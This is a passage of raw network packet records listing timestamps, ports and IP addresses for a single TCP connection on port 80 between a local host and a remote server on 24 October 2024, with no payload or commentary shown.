Oct 24, 2024 19:30:14.619077921 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619091034 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619100094 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619105101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619126081 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619155884 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619173050 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619184017 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619194984 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619213104 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619246006 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619282961 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619296074 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619307041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619322062 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619333029 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619344950 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619357109 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619357109 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619380951 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619400978 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619438887 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619451046 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619483948 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619673014 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619693995 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619704962 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619719028 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619736910 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619776964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619790077 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619800091 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619812012 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619813919 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619823933 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619838953 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619863033 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619873047 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619874954 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619903088 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619929075 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619947910 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619957924 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619968891 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619986057 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619999886 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620019913 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620049953 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620066881 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620078087 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620095015 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620106936 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620110035 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620132923 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620162010 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620232105 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620243073 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620254040 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620275974 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620287895 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620299101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620300055 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620311975 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620323896 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620331049 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620342016 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620377064 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620392084 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620404005 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620414972 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620426893 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620433092 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620448112 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620476007 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620502949 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620516062 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620527029 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620538950 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620549917 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620558023 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620568037 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620579004 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620589972 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620616913 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620739937 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620750904 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620762110 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620784998 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620801926 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620865107 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620906115 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620933056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620944023 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.620973110 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.620990038 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621296883 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621309996 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621335983 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621339083 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621349096 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621361017 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621366024 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621372938 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621378899 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621386051 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621411085 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621416092 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621429920 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621438026 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621440887 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621464014 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621486902 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621524096 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621536016 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621546984 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621560097 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621594906 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621702909 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621721983 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621733904 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621740103 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621752024 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621763945 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621773005 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621773958 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621788025 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621797085 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621800900 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621817112 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621820927 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621834993 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621846914 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621850967 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621857882 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621875048 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621876001 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621889114 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621900082 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621903896 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621912003 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621917009 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621928930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621939898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621951103 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.621959925 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.621993065 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622025013 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622083902 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622097015 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622108936 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622128963 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622140884 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622169018 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622181892 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622193098 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622204065 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622209072 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622215986 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622237921 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622262955 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622272968 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622286081 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622297049 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622308969 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622315884 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622330904 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622356892 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622363091 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622369051 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622380972 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622391939 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.622397900 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622411966 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.622435093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.733937979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.733995914 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734074116 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734164000 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734190941 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734217882 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734225035 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734236956 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734261990 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734272957 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734275103 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734299898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734311104 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734323025 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734323978 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734332085 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734364986 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734416008 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734433889 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734447002 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734460115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734461069 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734472036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734489918 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734519005 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734807014 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734853983 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734879017 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734889984 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734914064 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734925032 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734929085 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734939098 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.734960079 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734972000 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.734992981 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735004902 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735016108 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735028028 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735042095 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735049009 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735080004 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735115051 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735126972 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735137939 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735161066 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735188007 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735193968 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735208035 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735219002 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735233068 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735236883 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735245943 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735275984 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735289097 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735343933 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735354900 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735363960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735377073 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735388994 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735397100 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735423088 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735423088 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735436916 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735441923 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735450029 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735462904 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735467911 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735558033 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735569000 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735579014 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735580921 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735580921 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735598087 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735635042 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735892057 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735903025 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735914946 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.735938072 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.735970020 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736370087 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736382008 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736393929 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736416101 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736439943 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736455917 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736473083 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736496925 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736509085 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736520052 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736531973 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736542940 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736553907 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736558914 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736567020 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736577988 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736608982 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736675024 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736686945 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736700058 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736711979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736718893 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736722946 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736736059 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736737967 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736763000 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736773968 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736776114 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736800909 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736828089 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736859083 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736871958 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736884117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736895084 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.736910105 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736934900 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736959934 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.736999989 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737011909 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737023115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737035990 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737047911 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737050056 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737060070 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737071037 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737076998 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737092018 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737112999 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737117052 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737128973 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737139940 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737152100 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737160921 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737164021 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737175941 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737183094 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737189054 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737202883 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737205982 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737230062 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737256050 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737287998 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737299919 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737309933 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737323999 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737334013 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737337112 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737353086 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737365007 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737366915 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737373114 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737376928 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737389088 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737407923 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737410069 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737430096 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737452984 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737535954 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737548113 CEST	80	49981	185.215.113.16	192.168.2.5
